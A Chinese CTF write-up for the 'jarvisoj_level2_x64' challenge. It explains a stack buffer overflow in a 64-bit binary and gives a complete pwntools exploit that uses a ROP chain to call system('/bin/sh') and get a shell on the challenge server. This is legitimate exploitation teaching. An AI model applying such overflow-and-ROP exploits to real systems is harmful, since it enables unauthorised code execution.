jarvisoj_level2_x64

107 篇文章 4 订阅
39 篇文章 1 订阅

jarvisoj_level2_x64

题目地址 : https://buuoj.cn/challenges#jarvisoj_level2_x64
在这里插入图片描述

checksec 一下,64位程序 开的保护影响不大(nx栈不可执行,也就是不能往栈上写shellcode)

在这里插入图片描述

main函数

主要是调用了vuln函数,其他没问题

在这里插入图片描述

vulnerable_function函数

首先这个函数调用了system函数,这就使得plt表中存在system,且可以被我们调用,然后read读取了0x200个字符串,这比buf到rbp的距离0x80还要大,这又使得我们可以对return
addr进行覆盖,再然后呢就是这个程序竟然存在/bin/sh字符串,我们可以通过system直接获得shell

在这里插入图片描述
/bin/sh字符串
在这里插入图片描述
exp

from pwn import *

io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")

context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])

io.sendlineafter("Input:",payload)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值